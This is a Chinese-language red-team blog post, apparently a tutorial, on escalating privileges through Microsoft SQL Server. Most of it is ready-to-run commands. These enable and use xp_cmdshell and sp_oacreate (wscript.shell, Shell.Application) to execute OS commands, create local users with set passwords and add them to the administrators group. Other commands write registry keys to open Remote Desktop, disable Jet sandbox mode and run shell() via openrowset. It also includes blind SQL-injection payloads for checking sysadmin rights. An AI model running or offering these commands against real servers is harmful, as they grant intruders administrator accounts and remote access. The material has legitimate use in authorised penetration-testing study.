总述

本文总结了几种常见的 MSSQL 提权的方式。

MSSQL = Microsoft SQL Server 的简称。
	在渗透/运维/开发圈子里说的 MSSQL,几乎就是指 SQL Server,只是一个习惯叫法。

1. MSSQL 简介

  1. SQL Server 的正式名称

    • Microsoft SQL Server 是微软公司开发的一款关系型数据库管理系统(RDBMS)。
    • 它和 Oracle Database、MySQL、PostgreSQL 一样,属于大型数据库平台。
  2. MSSQL 是简称 / 通俗叫法

    • 在很多文章、命令行工具、配置文件里,“MSSQL” 通常就是指 Microsoft SQL Server
    • MSSQL = Microsoft SQL。
  3. 协议和端口

    • MSSQL 的网络通信默认基于 TDS 协议(Tabular Data Stream)
    • 默认端口:1433/TCP
    • 所以当你看到端口 1433 开放,服务标识为 “ms-sql-s” 时,就是 SQL Server。
  4. 客户端工具

    • 管理 SQL Server 的官方工具是 SQL Server Management Studio (SSMS)
    • 也可以通过 sqlcmd、ODBC、JDBC 等方式连接。
    • 一些第三方工具(DBeaver、Navicat)也支持 MSSQL。

2. MSSQL角色用户权限

Pasted image 20250820001044.png

3. MSSQL常用命令

# 查看数据库版本
select @@version

# 查看数据库系统参数
exec master..xp_msver;

# 查看用户所属角色信息
sp_helpsrvrolemember

# 查看当前数据库
select db_name();

# 查看当前账户权限
select IS_SRVROLEMEMBER('sysadmin') #判断是否为sa权限
select IS_MEMBER('db_owner') #判断是否为dba权限

# 禁用advanced options
exec sp_configure 'show advanced options',0;GO RECONFIGURE;

4. xp_cmdshell

A. 简介

xp_cmdshell 扩展存储过程,可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。
	由于 xp_cmdshell 可以执行任何操作系统命令,所以一旦SQL Server管理员帐号(如sa)被攻破,那么攻击者就可以利用 xp_cmdshell 在 SQL Server 中执行操作系统命令。

注意:
	SQL Server 2000 中默认是开启 xp_cmdshell 的。
	SQL Server 2005 及以上版本中 xp_cmdshell 默认是关闭的。

B. 基本使用

1)基本语法

exec master..xp_cmdshell "dos命令";
	exec master..xp_cmdshell "ver"

2)提权利用

1、判断用户权限
# 只有 sysadmin 组的用户才能执行 xp_cmdshell
select IS_SRVROLEMEMBER ('sysadmin')

返回结果为 1 表明当前用户在 sysadmin 组
# 盲注时的情况(payload)
and (select IS_SRVROLEMEMBER ('sysadmin'))=1--

Pasted image 20250820001339.png

2、判断是否存在 xp_cmdshell
# 判断数据库中是否存在 xp_cmdshell 组件,返回结果为1表明组件存在
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'

返回结果为 1 表明当前 MSSQL 当中存在 xp_cmdshell 组件
# 盲注时的情况(payload)
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')

Pasted image 20250820001528.png

3、检测 xp_cmdshell 是否启用
# 尝试通过 xp_cmdshell 执行命令,检测 xp_cmdshell 是否启用
exec master..xp_cmdshell "ver";
  • 如果服务未开启,执行 xp_cmdshell 将会提示如下的内容
消息 15281,级别 16,状态 1,过程 xp_cmdshell,第 1 行
	SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

Pasted image 20250820001641.png

4、启用 xp_cmdshell
# 系统管理员可以通过使用 sp_configure 启用 xp_cmdshell
exec sp_configure 'show advanced options',1;reconfigure;

Pasted image 20250820001732.png

exec sp_configure 'xp_cmdshell',1;reconfigure;

Pasted image 20250820001753.png

此时即可通过 xp_cmdshell 执行系统命令
exec master..xp_cmdshell "ver";

Pasted image 20250820001830.png

exec master..xp_cmdshell "net user";

Pasted image 20250820001851.png

5、执行系统命令添加用户
创建用户
exec master..xp_cmdshell "net user name password /add"
添加用户到管理员组
exec master..xp_cmdshell "net localgroup administrators name /add"

5. sp_oacreate

A. 简介

在 xp_cmdshell 被删除或者出错情况下,可以充分利用 sp_oacreate 进行提权。

	利用 OLE 对象接口,SQL Server 提供了一些函数访问 OLE 对象,分别是 sp_oacreate 和 sp_oamethod,可利用它们调用 OLE 控件,间接获取一个shell。

B. 利用

1、判断是否存在 sp_oacreate

# 判断数据库中是否存在 sp_oacreate 组件,返回结果为 1 表明组件存在
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'sp_oacreate';

Pasted image 20250820002203.png

2、检测 sp_oacreate 是否启用

# 尝试通过 sp_oacreate 执行命令,检测 sp_oacreate 是否启用
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user';

Pasted image 20250820002232.png

  • 如果服务未开启,执行 sp_oacreate 将会提示如下的内容
消息 15281,级别 16,状态 1,过程 sp_OAMethod,第 1 行
	SQL Server 阻止了对组件 'Ole Automation Procedures' 的 过程 'sys.sp_OAMethod' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ole Automation Procedures'。有关启用 'Ole Automation Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

3、启用组件

# 系统管理员可以通过使用 sp_configure 启用 sp_oacreate
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ole Automation Procedures',1;reconfigure;

Pasted image 20250820002329.png

4、添加用户

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user zhangsan 123456 /add' --

declare @shell int exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators zhangsan /add' --

5、执行命令

1)原生利用
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\1.txt' --
2) wscript.shell
在SQL Server 2008 和 SQL Server 2000 都适用。
# 声明一个变量
declare @shell int;

# 使用 sp_oacreate 调用 wscript 对象
exec sp_oacreate 'wscript.shell',@shell output;

# 使用sp_oamethod调用变量的属性run执行系统命令
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add';
# 添加用户 test/test
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add';

# 添加用户到管理员组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add';
3)Shell.Application
SQL Server 2008 不可用,SQL Server 2000 可用。
# 添加用户 test/test
declare @o int exec sp_oacreate 'Shell.Application', @o out exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user test test /add','c:\windows\system32','','1';

6. xp_regread

A. 利用

1、是否开启远程桌面

# 1表示关闭,0表示开启
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'

2、读取远程桌面端口

EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'

Pasted image 20250820003110.png

3、开启远程桌面

EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

4、关闭远程桌面

EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;

7. 沙盒模式

只有 windows xp 和 windows 2003 可用。
沙盒模式是数据库的一种安全功能,在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。
无法执行命令时,xp_regwrite 可用。

利用

1、启用Ad Hoc Distributed Queries

exec sp_configure 'show advanced options',1;reconfigure;

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure

2、读取SandBoxMode[可选]

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode';
SandBoxMode参数含义(默认是2)
	0:在任何使用者中禁止启用安全模式
	1:仅在允许范围内
	2:必须在 access 模式下
	3:完全开启

3、关闭沙盒模式

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

4、执行系统命令

# 添加用户 test/1qaz@WSX
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1qaz@WSX /add")');

# 将 test 用户加入 本地管理员组
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")');

# 执行whoami命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")');
文章作者: QiaoShen
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 QiaoShen-World
红队实践 Linux Windows 提权
喜欢就支持一下吧